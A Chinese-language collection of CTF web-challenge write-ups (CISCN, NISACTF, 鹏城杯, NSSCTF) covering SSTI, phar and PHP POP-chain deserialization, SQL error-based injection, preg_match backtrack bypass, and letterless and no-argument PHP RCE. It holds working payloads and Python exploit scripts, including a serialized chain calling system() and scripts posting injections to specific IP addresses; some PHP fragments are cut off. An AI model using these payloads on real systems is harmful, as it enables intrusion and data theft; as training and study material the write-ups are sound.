目录
[CISCN 2019华东南]Web11
[NISACTF 2022]bingdundun~
[NISACTF 2022]babyserialize
[NISACTF 2022]join-us
[NISACTF 2022]middlerce
[鹏城杯 2022]简单的php
[NSSCTF 2022 Spring Recruit]babyphp
打开看了一下没发现什么,但是网页上又Public IP,在页面上也发现了IP回显。
猜测是ssti,尝试一下。
还不知道过滤了什么,尝试一下过滤情况,发现并没有过滤。
刚开始使用了{if}标签来注入,但后来发现可以直接命令执行。
直接查看flag即可。(记得使用bp来注入,hackbar直接注入我一直没成功)
简单的phar反序列化,没有任何过滤。
Phar反序列化脚本(本地可以直接实现用)
startBuffering();
$phar->setStub("");
$phar->addFromString("test.php", '');
$phar->stopBuffering();
?>
访问本地后直接改后缀为zip上传即可。
fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
存在waf,过滤了一些函数和符号。
发现可以直接从NISA类中的wakeup直接跳到Ilovetxw类中的toString,然后再利用return直接跳到NISA中的__invoke函数。
Exp:
fun = new Ilovetxw();
$a->fun->su = $a;
echo urlencode(serialize($a));
paylaod:
O%3A4%3A%22NISA%22%3A2%3A%7Bs%3A8%3A%22txw4ever%22%3Bs%3A17%3A%22sYSTEM%28%22nl+%2Ff%2A%22%29%3B%22%3Bs%3A3%3A%22fun%22%3BO%3A8%3A%22Ilovetxw%22%3A1%3A%7Bs%3A2%3A%22su%22%3Br%3A1%3B%7D%7D
Join报错注入。
其中用到了无列名注入,mid函数截取。
脚本:
import requests
url = 'http://1.14.71.254:28459/dl.php'
#payload = "1' || (select * from abc)#"#数据库
#payload = "1' || extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#"#获取表名
# payload = "1' || extractvalue(1,concat(1, (select * from(select * from output a join output b)c), 3))#"#data列
#payload = "1' || extractvalue(1,concat(0x07, (select * from output), 0x07))#"#第一部分flag
payload = "1' || extractvalue(1,concat(0x07, (select mid(data,25) from output), 0x07))#"
data={
"tt" : payload
}
r = requests.post(url=url,data=data)
print(r.text)
首先利用回溯次数限制绕过preg_match,使其返回false。
之后发现eval无法回显数据,且echo函数被过滤,所以利用了短标签来绕过无法回显的问题。
脚本:
import requests
payload = '{"cmd":"?>= `nl /fl*`?>", "#":"'+"#"*(1000000) + '"}' #$换成特殊符号也可以
r = requests.post("http://1.14.71.254:28071/",data = {"letter":payload})
print(r.text)
这一题现在看来是挺简单的,没有函数过滤。
两个点,无字母数字命令执行和无参构造rce,一点一点讲解。
首先就是无字母数字命令执行:
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
代码:
异或:
下边是yu师傅的脚本:
Php脚本:
=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
python脚本:
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
异或和或类似。
下边是无参rce:
思路就是通过没有参数的函数达到命令执行的目的。
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
几种payload:
eval(hex2bin(session_id(session_start())));
print_r(current(get_defined_vars()));&b=phpinfo();
eval(next(getallheaders()));
var_dump(getenv(phpinfo()));
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件
本题可以利用getallheaders函数来构造。
getallheaders返回当前请求的所有请求头信息
system(current(getallheaders()));
直接可以达到命令执行的目的。
Payload:
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
数组加md5弱比较绕过。
Payload:
a[]=1&b1[]=1&b2[]=2&c1=s214587387a&c2=s155964671a